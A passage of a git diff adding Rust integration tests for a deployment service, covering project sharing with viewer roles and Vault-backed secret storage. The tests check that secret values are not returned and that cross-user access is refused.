+        .get(format!("{}/project/shared", app_address))
+        .header("Authorization", format!("Bearer {}", token))
+        .send()
+        .await
+        .expect("shared project list request failed")
+}
+
+async fn list_project_members(
+    app_address: &str,
+    project_id: i32,
+    token: &str,
+) -> reqwest::Response {
+    reqwest::Client::new()
+        .get(format!("{}/project/{}/members", app_address, project_id))
+        .header("Authorization", format!("Bearer {}", token))
+        .send()
+        .await
+        .expect("project members list request failed")
+}
+
+async fn remove_project_member(
+    app_address: &str,
+    project_id: i32,
+    actor_token: &str,
+    member_user_id: &str,
+) -> reqwest::Response {
+    reqwest::Client::new()
+        .delete(format!(
+            "{}/project/{}/members/{}",
+            app_address, project_id, member_user_id
+        ))
+        .header("Authorization", format!("Bearer {}", actor_token))
+        .send()
+        .await
+        .expect("project member delete request failed")
+}
+
+async fn create_test_project_with_payload(
+    pool: &sqlx::PgPool,
+    user_id: &str,
+    name: &str,
+    metadata: serde_json::Value,
+    request_json: serde_json::Value,
+) -> i32 {
+    sqlx::query(
+        r#"INSERT INTO project (stack_id, user_id, name, metadata, request_json, created_at, updated_at)
+        VALUES (gen_random_uuid(), $1, $2, $3, $4, NOW(), NOW())
+        RETURNING id"#,
+    )
+    .bind(user_id)
+    .bind(name)
+    .bind(metadata)
+    .bind(request_json)
+    .fetch_one(pool)
+    .await
+    .map(|row| row.get::<i32, _>("id"))
+    .expect("Failed to insert test project with payload")
+}
+
+#[tokio::test]
+async fn owner_can_share_project_with_viewer_by_user_id() {
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
+
+    let project_id = common::create_test_project(&app.db_pool, common::USER_A_ID).await;
+
+    let response = share_project(
+        &app.address,
+        project_id,
+        common::USER_A_TOKEN,
+        common::USER_B_ID,
+    )
+    .await;
+
+    assert_eq!(response.status(), StatusCode::OK);
+    let body: serde_json::Value = response.json().await.expect("json response");
+    assert_eq!(body["item"]["user_id"].as_str(), Some(common::USER_B_ID));
+    assert_eq!(body["item"]["role"].as_str(), Some("viewer"));
+}
+
+#[tokio::test]
+async fn non_owner_cannot_share_project() {
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
+
+    let project_id = common::create_test_project(&app.db_pool, common::USER_A_ID).await;
+
+    let response = share_project(
+        &app.address,
+        project_id,
+        common::USER_B_TOKEN,
+        common::USER_A_ID,
+    )
+    .await;
+
+    assert_eq!(response.status(), StatusCode::NOT_FOUND);
+}
+
+#[tokio::test]
+async fn viewer_can_get_shared_project_latest_deployment() {
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
+
+    let (project_id, _deployment_id, deployment_hash) =
+        seed_project_and_deployment(&app.db_pool, common::USER_A_ID).await;
+    let share_response = share_project(
+        &app.address,
+        project_id,
+        common::USER_A_TOKEN,
+        common::USER_B_ID,
+    )
+    .await;
+    assert_eq!(share_response.status(), StatusCode::OK);
+
+    let response = reqwest::Client::new()
+        .get(format!(
+            "{}/api/v1/deployments/project/{}",
+            app.address, project_id
+        ))
+        .header("Authorization", format!("Bearer {}", common::USER_B_TOKEN))
+        .send()
+        .await
+        .expect("deployment-by-project request failed");
+
+    assert_eq!(response.status(), StatusCode::OK);
+    let body: serde_json::Value = response.json().await.expect("json response");
+    assert_eq!(
+        body["item"]["deployment_hash"].as_str(),
+        Some(deployment_hash.as_str())
+    );
+}
+
+#[tokio::test]
+async fn viewer_can_list_shared_project_deployments_with_project_filter() {
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
+
+    let (project_id, _deployment_id, deployment_hash) =
+        seed_project_and_deployment(&app.db_pool, common::USER_A_ID).await;
+    let share_response = share_project(
+        &app.address,
+        project_id,
+        common::USER_A_TOKEN,
+        common::USER_B_ID,
+    )
+    .await;
+    assert_eq!(share_response.status(), StatusCode::OK);
+
+    let response = reqwest::Client::new()
+        .get(format!(
+            "{}/api/v1/deployments?project_id={}",
+            app.address, project_id
+        ))
+        .header("Authorization", format!("Bearer {}", common::USER_B_TOKEN))
+        .send()
+        .await
+        .expect("deployment list request failed");
+
+    assert_eq!(response.status(), StatusCode::OK);
+    let body: serde_json::Value = response.json().await.expect("json response");
+    let list = body["list"].as_array().expect("list should be array");
+    assert_eq!(list.len(), 1);
+    assert_eq!(
+        list[0]["deployment_hash"].as_str(),
+        Some(deployment_hash.as_str())
+    );
+}
+
+#[tokio::test]
+async fn viewer_cannot_get_raw_project_payload() {
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
+
+    let project_id = common::create_test_project(&app.db_pool, common::USER_A_ID).await;
+    let share_response = share_project(
+        &app.address,
+        project_id,
+        common::USER_A_TOKEN,
+        common::USER_B_ID,
+    )
+    .await;
+    assert_eq!(share_response.status(), StatusCode::OK);
+
+    let response = reqwest::Client::new()
+        .get(format!("{}/project/{}", app.address, project_id))
+        .header("Authorization", format!("Bearer {}", common::USER_B_TOKEN))
+        .send()
+        .await
+        .expect("project get request failed");
+
+    assert_eq!(response.status(), StatusCode::NOT_FOUND);
+}
+
+#[tokio::test]
+async fn viewer_can_list_projects_shared_with_them() {
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
+
+    let project_id = common::create_test_project(&app.db_pool, common::USER_A_ID).await;
+    let share_response = share_project(
+        &app.address,
+        project_id,
+        common::USER_A_TOKEN,
+        common::USER_B_ID,
+    )
+    .await;
+    assert_eq!(share_response.status(), StatusCode::OK);
+
+    let response = list_shared_projects(&app.address, common::USER_B_TOKEN).await;
+
+    assert_eq!(response.status(), StatusCode::OK);
+    let body: serde_json::Value = response.json().await.expect("json response");
+    let list = body["list"].as_array().expect("list should be array");
+    assert_eq!(list.len(), 1);
+    assert_eq!(list[0]["id"].as_i64(), Some(i64::from(project_id)));
+    assert_eq!(list[0]["name"].as_str(), Some("Test Project"));
+    assert_eq!(list[0]["role"].as_str(), Some("viewer"));
+    assert!(list[0]["shared_at"].as_str().is_some());
+}
+
+#[tokio::test]
+async fn shared_projects_list_excludes_sensitive_fields() {
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
+
+    let project_id = create_test_project_with_payload(
+        &app.db_pool,
+        common::USER_A_ID,
+        "Sensitive Project",
+        json!({"secret_metadata": "should-not-leak"}),
+        json!({"secret_request": "also-hidden"}),
+    )
+    .await;
+    let share_response = share_project(
+        &app.address,
+        project_id,
+        common::USER_A_TOKEN,
+        common::USER_B_ID,
+    )
+    .await;
+    assert_eq!(share_response.status(), StatusCode::OK);
+
+    let response = list_shared_projects(&app.address, common::USER_B_TOKEN).await;
+
+    assert_eq!(response.status(), StatusCode::OK);
+    let body: serde_json::Value = response.json().await.expect("json response");
+    let list = body["list"].as_array().expect("list should be array");
+    assert_eq!(list.len(), 1);
+    let project = list[0].as_object().expect("project should be an object");
+    assert!(!project.contains_key("metadata"));
+    assert!(!project.contains_key("request_json"));
+}
+
+#[tokio::test]
+async fn shared_projects_list_only_returns_projects_shared_to_requesting_user() {
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
+
+    let visible_project_id = create_test_project_with_payload(
+        &app.db_pool,
+        common::USER_A_ID,
+        "Visible Project",
+        json!({}),
+        json!({}),
+    )
+    .await;
+    let hidden_project_id = create_test_project_with_payload(
+        &app.db_pool,
+        common::USER_A_ID,
+        "Hidden Project",
+        json!({}),
+        json!({}),
+    )
+    .await;
+
+    let share_response = share_project(
+        &app.address,
+        visible_project_id,
+        common::USER_A_TOKEN,
+        common::USER_B_ID,
+    )
+    .await;
+    assert_eq!(share_response.status(), StatusCode::OK);
+
+    let response = list_shared_projects(&app.address, common::USER_B_TOKEN).await;
+
+    assert_eq!(response.status(), StatusCode::OK);
+    let body: serde_json::Value = response.json().await.expect("json response");
+    let list = body["list"].as_array().expect("list should be array");
+    assert_eq!(list.len(), 1);
+    assert_eq!(list[0]["id"].as_i64(), Some(i64::from(visible_project_id)));
+    assert_ne!(list[0]["id"].as_i64(), Some(i64::from(hidden_project_id)));
+}
+
+#[tokio::test]
+async fn shared_project_does_not_change_existing_project_list_contract() {
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
+
+    let project_id = common::create_test_project(&app.db_pool, common::USER_A_ID).await;
+    let share_response = share_project(
+        &app.address,
+        project_id,
+        common::USER_A_TOKEN,
+        common::USER_B_ID,
+    )
+    .await;
+    assert_eq!(share_response.status(), StatusCode::OK);
+
+    let response = reqwest::Client::new()
+        .get(format!("{}/project", app.address))
+        .header("Authorization", format!("Bearer {}", common::USER_B_TOKEN))
+        .send()
+        .await
+        .expect("project list request failed");
+
+    assert_eq!(response.status(), StatusCode::OK);
+    let body: serde_json::Value = response.json().await.expect("json response");
+    let list = body["list"].as_array().expect("list should be array");
+    assert!(list.is_empty());
+}
+
+#[tokio::test]
+async fn owner_can_list_project_members() {
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
+
+    let project_id = common::create_test_project(&app.db_pool, common::USER_A_ID).await;
+    let share_response = share_project(
+        &app.address,
+        project_id,
+        common::USER_A_TOKEN,
+        common::USER_B_ID,
+    )
+    .await;
+    assert_eq!(share_response.status(), StatusCode::OK);
+
+    let response = list_project_members(&app.address, project_id, common::USER_A_TOKEN).await;
+
+    assert_eq!(response.status(), StatusCode::OK);
+    let body: serde_json::Value = response.json().await.expect("json response");
+    let list = body["list"].as_array().expect("list should be array");
+    assert_eq!(list.len(), 1);
+    assert_eq!(list[0]["user_id"].as_str(), Some(common::USER_B_ID));
+    assert_eq!(list[0]["role"].as_str(), Some("viewer"));
+}
+
+#[tokio::test]
+async fn non_owner_cannot_list_project_members() {
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
+
+    let project_id = common::create_test_project(&app.db_pool, common::USER_A_ID).await;
+    let share_response = share_project(
+        &app.address,
+        project_id,
+        common::USER_A_TOKEN,
+        common::USER_B_ID,
+    )
+    .await;
+    assert_eq!(share_response.status(), StatusCode::OK);
+
+    let response = list_project_members(&app.address, project_id, common::USER_B_TOKEN).await;
+
+    assert_eq!(response.status(), StatusCode::NOT_FOUND);
+}
+
+#[tokio::test]
+async fn owner_can_remove_project_member() {
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
+
+    let project_id = common::create_test_project(&app.db_pool, common::USER_A_ID).await;
+    let share_response = share_project(
+        &app.address,
+        project_id,
+        common::USER_A_TOKEN,
+        common::USER_B_ID,
+    )
+    .await;
+    assert_eq!(share_response.status(), StatusCode::OK);
+
+    let response = remove_project_member(
+        &app.address,
+        project_id,
+        common::USER_A_TOKEN,
+        common::USER_B_ID,
+    )
+    .await;
+
+    assert_eq!(response.status(), StatusCode::NO_CONTENT);
+
+    let list_response = list_project_members(&app.address, project_id, common::USER_A_TOKEN).await;
+    assert_eq!(list_response.status(), StatusCode::OK);
+    let body: serde_json::Value = list_response.json().await.expect("json response");
+    let list = body["list"].as_array().expect("list should be array");
+    assert!(list.is_empty());
+}
+
+#[tokio::test]
+async fn removed_viewer_loses_shared_project_access() {
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
+
+    let (project_id, _deployment_id, _deployment_hash) =
+        seed_project_and_deployment(&app.db_pool, common::USER_A_ID).await;
+    let share_response = share_project(
+        &app.address,
+        project_id,
+        common::USER_A_TOKEN,
+        common::USER_B_ID,
+    )
+    .await;
+    assert_eq!(share_response.status(), StatusCode::OK);
+
+    let remove_response = remove_project_member(
+        &app.address,
+        project_id,
+        common::USER_A_TOKEN,
+        common::USER_B_ID,
+    )
+    .await;
+    assert_eq!(remove_response.status(), StatusCode::NO_CONTENT);
+
+    let shared_projects_response = list_shared_projects(&app.address, common::USER_B_TOKEN).await;
+    assert_eq!(shared_projects_response.status(), StatusCode::OK);
+    let shared_projects_body: serde_json::Value = shared_projects_response
+        .json()
+        .await
+        .expect("json response");
+    let shared_projects = shared_projects_body["list"]
+        .as_array()
+        .expect("list should be array");
+    assert!(shared_projects.is_empty());
+
+    let deployment_response = reqwest::Client::new()
+        .get(format!(
+            "{}/api/v1/deployments/project/{}",
+            app.address, project_id
+        ))
+        .header("Authorization", format!("Bearer {}", common::USER_B_TOKEN))
+        .send()
+        .await
+        .expect("deployment-by-project request failed");
+
+    assert_eq!(deployment_response.status(), StatusCode::NOT_FOUND);
+}
diff --git a/tests/remote_secrets.rs b/tests/remote_secrets.rs
new file mode 100644
index 00000000..28c639fe
--- /dev/null
+++ b/tests/remote_secrets.rs
@@ -0,0 +1,1107 @@
+mod common;
+
+use actix_web::web;
+use reqwest::StatusCode;
+use serde_json::{json, Value};
+use stacker::configuration::get_configuration;
+use stacker::db;
+use stacker::mcp::protocol::ToolContent;
+use stacker::mcp::tools::{
+    GetAppConfigTool, GetAppEnvVarsTool, GetRemoteServiceSecretTool, SetAppEnvVarTool,
+};
+use stacker::mcp::{ToolContext, ToolHandler};
+use stacker::models::ProjectApp;
+use stacker::services::{runtime_env_contract_response, ConfigRenderer, VaultService};
+use std::sync::Arc;
+use wiremock::matchers::{method, path, path_regex};
+use wiremock::{Mock, MockServer, ResponseTemplate};
+
+struct TwoUserVaultApp {
+    app: common::TwoUserTestApp,
+    vault_server: MockServer,
+}
+
+async fn spawn_two_user_app_with_vault() -> Option<TwoUserVaultApp> {
+    let mut configuration = get_configuration().expect("Failed to get configuration");
+    let vault_server = MockServer::start().await;
+
+    configuration.vault.address = vault_server.uri();
+    configuration.vault.token = "test-vault-token".to_string();
+    configuration.vault.api_prefix = "v1".to_string();
+    configuration.vault.ssh_key_path_prefix = Some("users".to_string());
+    configuration.connectors.install_service =
+        Some(stacker::connectors::InstallServiceConfig { enabled: false });
+
+    let app = common::spawn_app_two_users_with_configuration(configuration).await?;
+
+    Some(TwoUserVaultApp { app, vault_server })
+}
+
+async fn create_test_project_app(pool: &sqlx::PgPool, project_id: i32, code: &str) -> ProjectApp {
+    let app = ProjectApp::new(
+        project_id,
+        code.to_string(),
+        "Test App".to_string(),
+        "nginx:stable".to_string(),
+    );
+
+    db::project_app::insert(pool, &app)
+        .await
+        .expect("Failed to insert test app")
+}
+
+fn service_secret_path_regex(user_id: &str, project_id: i32, app_code: &str, name: &str) -> String {
+    format!(
+        r"/v1/agent/users/{}/projects/{}/apps/{}/secrets/{}",
+        user_id, project_id, app_code, name
+    )
+}
+
+fn server_secret_path_regex(user_id: &str, server_id: i32, name: &str) -> String {
+    format!(
+        r"/v1/agent/users/{}/servers/{}/secrets/{}",
+        user_id, server_id, name
+    )
+}
+
+fn status_panel_npm_credentials_path(server_id: i32) -> String {
+    format!(
+        "/v1/secret/debug/status_panel/hosts/{}/npm_credentials",
+        server_id
+    )
+}
+
+fn tool_context(pool: &sqlx::PgPool) -> ToolContext {
+    ToolContext {
+        user: Arc::new(stacker::models::User {
+            id: common::USER_A_ID.to_string(),
+            first_name: "Test".to_string(),
+            last_name: "User".to_string(),
+            email: common::USER_A_EMAIL.to_string(),
+            role: "group_user".to_string(),
+            email_confirmed: true,
+            mfa_verified: true,
+            access_token: None,
+        }),
+        pg_pool: pool.clone(),
+        settings: web::Data::new(stacker::configuration::Settings::default()),
+    }
+}
+
+fn tool_text_json(content: ToolContent) -> Value {
+    match content {
+        ToolContent::Text { text } => {
+            serde_json::from_str(&text).expect("tool response should be valid json")
+        }
+        ToolContent::Image { .. } => panic!("expected text tool response"),
+    }
+}
+
+#[tokio::test]
+async fn test_service_secret_crud_returns_metadata_only_and_uses_vault_v1() {
+    let Some(app) = common::spawn_app_with_vault().await else {
+        return;
+    };
+
+    let project_id = common::create_test_project(&app.db_pool, common::USER_A_ID).await;
+    let project_app = create_test_project_app(&app.db_pool, project_id, "web").await;
+    let secret_name = "S3_KEY";
+    let secret_path = service_secret_path_regex(
+        common::USER_A_ID,
+        project_id,
+        &project_app.code,
+        secret_name,
+    );
+
+    Mock::given(method("POST"))
+        .and(path_regex(secret_path.clone()))
+        .respond_with(ResponseTemplate::new(200))
+        .mount(&app.vault_server)
+        .await;
+
+    Mock::given(method("DELETE"))
+        .and(path_regex(secret_path.clone()))
+        .respond_with(ResponseTemplate::new(204))
+        .mount(&app.vault_server)
+        .await;
+
+    let client = reqwest::Client::new();
+    let put_response = client
+        .put(format!(
+            "{}/project/{}/apps/{}/secrets/{}",
+            app.address, project_id, project_app.code, secret_name
+        ))
+        .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
+        .json(&json!({ "value": "supersecret" }))
+        .send()
+        .await
+        .expect("service secret PUT failed");
+
+    assert_eq!(put_response.status(), StatusCode::OK);
+    let put_body: Value = put_response.json().await.unwrap();
+    assert_eq!(put_body["item"]["name"], secret_name);
+    assert_eq!(put_body["item"]["scope"], "service");
+    assert_eq!(put_body["item"]["app_code"], project_app.code);
+    assert_eq!(put_body["item"]["source"], "vault");
+    assert_eq!(put_body["item"]["secure"], true);
+    assert!(put_body["item"].get("value").is_none());
+
+    let get_response = client
+        .get(format!(
+            "{}/project/{}/apps/{}/secrets/{}",
+            app.address, project_id, project_app.code, secret_name
+        ))
+        .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
+        .send()
+        .await
+        .expect("service secret GET failed");
+
+    assert_eq!(get_response.status(), StatusCode::OK);
+    let get_body: Value = get_response.json().await.unwrap();
+    assert_eq!(get_body["item"]["name"], secret_name);
+    assert_eq!(get_body["item"]["secure"], true);
+    assert!(get_body["item"].get("value").is_none());
+
+    let list_response = client
+        .get(format!(
+            "{}/project/{}/apps/{}/secrets",
+            app.address, project_id, project_app.code
+        ))
+        .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
+        .send()
+        .await
+        .expect("service secret LIST failed");
+
+    assert_eq!(list_response.status(), StatusCode::OK);
+    let list_body: Value = list_response.json().await.unwrap();
+    assert_eq!(list_body["list"].as_array().unwrap().len(), 1);
+    assert_eq!(list_body["list"][0]["name"], secret_name);
+    assert_eq!(list_body["list"][0]["secure"], true);
+    assert!(list_body["list"][0].get("value").is_none());
+
+    let delete_response = client
+        .delete(format!(
+            "{}/project/{}/apps/{}/secrets/{}",
+            app.address, project_id, project_app.code, secret_name
+        ))
+        .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
+        .send()
+        .await
+        .expect("service secret DELETE failed");
+
+    assert_eq!(delete_response.status(), StatusCode::OK);
+
+    let list_after_delete = client
+        .get(format!(
+            "{}/project/{}/apps/{}/secrets",
+            app.address, project_id, project_app.code
+        ))
+        .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
+        .send()
+        .await
+        .expect("service secret LIST-after-delete failed");
+
+    assert_eq!(list_after_delete.status(), StatusCode::OK);
+    let list_after_delete_body: Value = list_after_delete.json().await.unwrap();
+    assert_eq!(list_after_delete_body["list"].as_array().unwrap().len(), 0);
+
+    let requests = app.vault_server.received_requests().await.unwrap();
+    assert_eq!(requests.len(), 2);
+    assert_eq!(requests[0].method.to_string(), "POST");
+    assert_eq!(requests[1].method.to_string(), "DELETE");
+    assert!(requests
+        .iter()
+        .all(|request| !request.url.path().contains("/data/")));
+    assert!(requests
+        .iter()
+        .all(|request| !request.url.path().contains("/metadata/")));
+}
+
+#[tokio::test]
+async fn test_server_secret_crud_returns_metadata_only_and_uses_vault_v1() {
+    let Some(app) = common::spawn_app_with_vault().await else {
+        return;
+    };
+
+    let project_id = common::create_test_project(&app.db_pool, common::USER_A_ID).await;
+    let server_id =
+        common::create_test_server(&app.db_pool, common::USER_A_ID, project_id, "none", None).await;
+    let secret_name = "HOST_TOKEN";
+    let secret_path = server_secret_path_regex(common::USER_A_ID, server_id, secret_name);
+
+    Mock::given(method("POST"))
+        .and(path_regex(secret_path.clone()))
+        .respond_with(ResponseTemplate::new(200))
+        .mount(&app.vault_server)
+        .await;
+
+    Mock::given(method("DELETE"))
+        .and(path_regex(secret_path.clone()))
+        .respond_with(ResponseTemplate::new(204))
+        .mount(&app.vault_server)
+        .await;
+
+    let client = reqwest::Client::new();
+    let put_response = client
+        .put(format!(
+            "{}/server/{}/secrets/{}",
+            app.address, server_id, secret_name
+        ))
+        .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
+        .json(&json!({ "value": "serversecret" }))
+        .send()
+        .await
+        .expect("server secret PUT failed");
+
+    assert_eq!(put_response.status(), StatusCode::OK);
+    let put_body: Value = put_response.json().await.unwrap();
+    assert_eq!(put_body["item"]["name"], secret_name);
+    assert_eq!(put_body["item"]["scope"], "server");
+    assert_eq!(put_body["item"]["server_id"], server_id);
+    assert_eq!(put_body["item"]["source"], "vault");
+    assert!(put_body["item"].get("value").is_none());
+
+    let get_response = client
+        .get(format!(
+            "{}/server/{}/secrets/{}",
+            app.address, server_id, secret_name
+        ))
+        .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
+        .send()
+        .await
+        .expect("server secret GET failed");
+
+    assert_eq!(get_response.status(), StatusCode::OK);
+    let get_body: Value = get_response.json().await.unwrap();
+    assert_eq!(get_body["item"]["name"], secret_name);
+    assert!(get_body["item"].get("value").is_none());
+
+    let list_response = client
+        .get(format!("{}/server/{}/secrets", app.address, server_id))
+        .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
+        .send()
+        .await
+        .expect("server secret LIST failed");
+
+    assert_eq!(list_response.status(), StatusCode::OK);
+    let list_body: Value = list_response.json().await.unwrap();
+    assert_eq!(list_body["list"].as_array().unwrap().len(), 1);
+    assert_eq!(list_body["list"][0]["name"], secret_name);
+    assert!(list_body["list"][0].get("value").is_none());
+
+    let delete_response = client
+        .delete(format!(
+            "{}/server/{}/secrets/{}",
+            app.address, server_id, secret_name
+        ))
+        .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
+        .send()
+        .await
+        .expect("server secret DELETE failed");
+
+    assert_eq!(delete_response.status(), StatusCode::OK);
+
+    let list_after_delete = client
+        .get(format!("{}/server/{}/secrets", app.address, server_id))
+        .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
+        .send()
+        .await
+        .expect("server secret LIST-after-delete failed");
+
+    assert_eq!(list_after_delete.status(), StatusCode::OK);
+    let list_after_delete_body: Value = list_after_delete.json().await.unwrap();
+    assert_eq!(list_after_delete_body["list"].as_array().unwrap().len(), 0);
+
+    let requests = app.vault_server.received_requests().await.unwrap();
+    assert_eq!(requests.len(), 2);
+    assert_eq!(requests[0].method.to_string(), "POST");
+    assert_eq!(requests[1].method.to_string(), "DELETE");
+    assert!(requests
+        .iter()
+        .all(|request| !request.url.path().contains("/data/")));
+    assert!(requests
+        .iter()
+        .all(|request| !request.url.path().contains("/metadata/")));
+}
+
+#[tokio::test]
+async fn test_server_npm_credentials_use_status_panel_host_path() {
+    let mut configuration = get_configuration().expect("Failed to get configuration");
+    let vault_server = MockServer::start().await;
+
+    configuration.vault.address = vault_server.uri();
+    configuration.vault.token = "test-vault-token".to_string();
+    configuration.vault.api_prefix = "v1".to_string();
+    configuration.vault.agent_path_prefix = "secret/debug/status_panel".to_string();
+    configuration.vault.ssh_key_path_prefix = Some("users".to_string());
+    configuration.connectors.install_service =
+        Some(stacker::connectors::InstallServiceConfig { enabled: false });
+
+    let Some(app) = common::spawn_app_with_test_auth_configuration(configuration).await else {
+        return;
+    };
+
+    let project_id = common::create_test_project(&app.db_pool, common::USER_A_ID).await;
+    let server_id =
+        common::create_test_server(&app.db_pool, common::USER_A_ID, project_id, "none", None).await;
+
+    Mock::given(method("POST"))
+        .and(path(status_panel_npm_credentials_path(server_id)))
+        .respond_with(ResponseTemplate::new(200))
+        .mount(&vault_server)
+        .await;
+
+    Mock::given(method("DELETE"))
+        .and(path(status_panel_npm_credentials_path(server_id)))
+        .respond_with(ResponseTemplate::new(204))
+        .mount(&vault_server)
+        .await;
+
+    let payload = json!({
+        "schema_version": 1,
+        "host": "http://nginx-proxy-manager:81",
+        "email": "admin@example.com",
+        "password": "secret",
+        "auth_mode": "email_password"
+    });
+
+    let client = reqwest::Client::new();
+    let put_response = client
+        .put(format!(
+            "{}/server/{}/secrets/npm_credentials",
+            app.address, server_id
+        ))
+        .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
+        .json(&json!({ "value": payload.to_string() }))
+        .send()
+        .await
+        .expect("server npm_credentials PUT failed");
+
+    assert_eq!(put_response.status(), StatusCode::OK);
+    let put_body: Value = put_response.json().await.unwrap();
+    assert_eq!(put_body["item"]["name"], "npm_credentials");
+    assert_eq!(put_body["item"]["scope"], "server");
+    assert_eq!(put_body["item"]["server_id"], server_id);
+    assert_eq!(put_body["item"]["source"], "vault");
+    assert!(put_body["item"].get("value").is_none());
+
+    let get_response = client
+        .get(format!(
+            "{}/server/{}/secrets/npm_credentials",
+            app.address, server_id
+        ))
+        .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
+        .send()
+        .await
+        .expect("server npm_credentials GET failed");
+
+    assert_eq!(get_response.status(), StatusCode::OK);
+    let get_body: Value = get_response.json().await.unwrap();
+    assert_eq!(get_body["item"]["name"], "npm_credentials");
+
+    let delete_response = client
+        .delete(format!(
+            "{}/server/{}/secrets/npm_credentials",
+            app.address, server_id
+        ))
+        .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
+        .send()
+        .await
+        .expect("server npm_credentials DELETE failed");
+
+    assert_eq!(delete_response.status(), StatusCode::OK);
+
+    let requests = vault_server.received_requests().await.unwrap();
+    assert_eq!(requests.len(), 2);
+    assert_eq!(requests[0].method.to_string(), "POST");
+    assert_eq!(
+        requests[0].url.path(),
+        status_panel_npm_credentials_path(server_id)
+    );
+    let request_body: Value =
+        serde_json::from_slice(&requests[0].body).expect("npm_credentials body should be json");
+    assert_eq!(request_body, json!({ "data": payload }));
+    assert_eq!(requests[1].method.to_string(), "DELETE");
+    assert_eq!(
+        requests[1].url.path(),
+        status_panel_npm_credentials_path(server_id)
+    );
+}
+
+#[tokio::test]
+async fn test_service_secret_idor_returns_404_without_touching_vault() {
+    let Some(app) = spawn_two_user_app_with_vault().await else {
+        return;
+    };
+
+    let project_id = common::create_test_project(&app.app.db_pool, common::USER_A_ID).await;
+    let project_app = create_test_project_app(&app.app.db_pool, project_id, "web").await;
+
+    let client = reqwest::Client::new();
+    let response = client
+        .put(format!(
+            "{}/project/{}/apps/{}/secrets/S3_SECRET",
+            app.app.address, project_id, project_app.code
+        ))
+        .header("Authorization", format!("Bearer {}", common::USER_B_TOKEN))
+        .json(&json!({ "value": "attacker-secret" }))
+        .send()
+        .await
+        .expect("service secret IDOR request failed");
+
+    assert_eq!(response.status(), StatusCode::NOT_FOUND);
+    assert_eq!(app.vault_server.received_requests().await.unwrap().len(), 0);
+}
+
+#[tokio::test]
+async fn test_server_secret_idor_returns_404_without_touching_vault() {
+    let Some(app) = spawn_two_user_app_with_vault().await else {
+        return;
+    };
+
+    let project_id = common::create_test_project(&app.app.db_pool, common::USER_A_ID).await;
+    let server_id = common::create_test_server(
+        &app.app.db_pool,
+        common::USER_A_ID,
+        project_id,
+        "none",
+        None,
+    )
+    .await;
+
+    let client = reqwest::Client::new();
+    let response = client
+        .put(format!(
+            "{}/server/{}/secrets/HOST_TOKEN",
+            app.app.address, server_id
+        ))
+        .header("Authorization", format!("Bearer {}", common::USER_B_TOKEN))
+        .json(&json!({ "value": "attacker-secret" }))
+        .send()
+        .await
+        .expect("server secret IDOR request failed");
+
+    assert_eq!(response.status(), StatusCode::NOT_FOUND);
+    assert_eq!(app.vault_server.received_requests().await.unwrap().len(), 0);
+}
+
+#[tokio::test]
+async fn test_render_bundle_merges_service_secrets_and_overrides_plain_env() {
+    let Some(app) = common::spawn_app_with_vault().await else {
+        return;
+    };
+
+    let project_id = common::create_test_project(&app.db_pool, common::USER_A_ID).await;
+    let mut project = db::project::fetch(&app.db_pool, project_id)
+        .await
+        .expect("project fetch failed")
+        .expect("project missing");
+    project.request_json = json!({
+        "report": {
+            "deployment_hash": "deploy-hash-123"
+        }
+    });
+
+    let mut project_app = create_test_project_app(&app.db_pool, project_id, "web").await;
+    project_app.environment = Some(json!({
+        "PLAIN_ONLY": "db-value",
+        "S3_KEY": "db-overridden"
+    }));
+    project_app = db::project_app::update(&app.db_pool, &project_app)
+        .await
+        .expect("project app update failed");
+
+    let vault_path = format!(
+        "agent/users/{}/projects/{}/apps/{}/secrets/S3_KEY",
+        common::USER_A_ID,
+        project_id,
+        project_app.code
+    );
+    db::remote_secret::upsert_service_secret(
+        &app.db_pool,
+        common::USER_A_ID,
+        project_id,
+        &project_app.code,
+        "S3_KEY",
+        &vault_path,
+        common::USER_A_ID,
+        "synced",
+    )
+    .await
+    .expect("service secret metadata insert failed");
+
+    Mock::given(method("GET"))
+        .and(path_regex(format!(r"/v1/{}", vault_path)))
+        .respond_with(ResponseTemplate::new(200).set_body_json(json!({
+            "data": {
+                "data": {
+                    "value": "vault-wins"
+                }
+            }
+        })))
+        .mount(&app.vault_server)
+        .await;
+
+    let mut configuration = get_configuration().expect("Failed to get configuration");
+    configuration.vault.address = app.vault_server.uri();
+    configuration.vault.token = "test-vault-token".to_string();
+    configuration.vault.api_prefix = "v1".to_string();
+    configuration.vault.agent_path_prefix = "agent".to_string();
+    let vault_service =
+        VaultService::from_settings(&configuration.vault).expect("failed to build vault service");
+    let renderer = ConfigRenderer::with_vault(vault_service).expect("renderer init failed");
+
+    let bundle = renderer
+        .render_bundle(
+            &app.db_pool,
+            &project,
+            &[project_app.clone()],
+            "deploy-hash-123",
+        )
+        .await
+        .expect("render bundle failed");
+
+    let env_content = &bundle
+        .app_configs
+        .get(&project_app.code)
+        .expect("missing env config")
+        .content;
+
+    assert!(env_content.contains("PLAIN_ONLY=db-value"));
+    assert!(env_content.contains("S3_KEY=vault-wins"));
+    assert!(!env_content.contains("S3_KEY=db-overridden"));
+    assert!(bundle.compose_content.contains("S3_KEY=vault-wins"));
+}
+
+#[tokio::test]
+async fn test_scn_003_service_secret_injects_only_into_registered_service_target() {
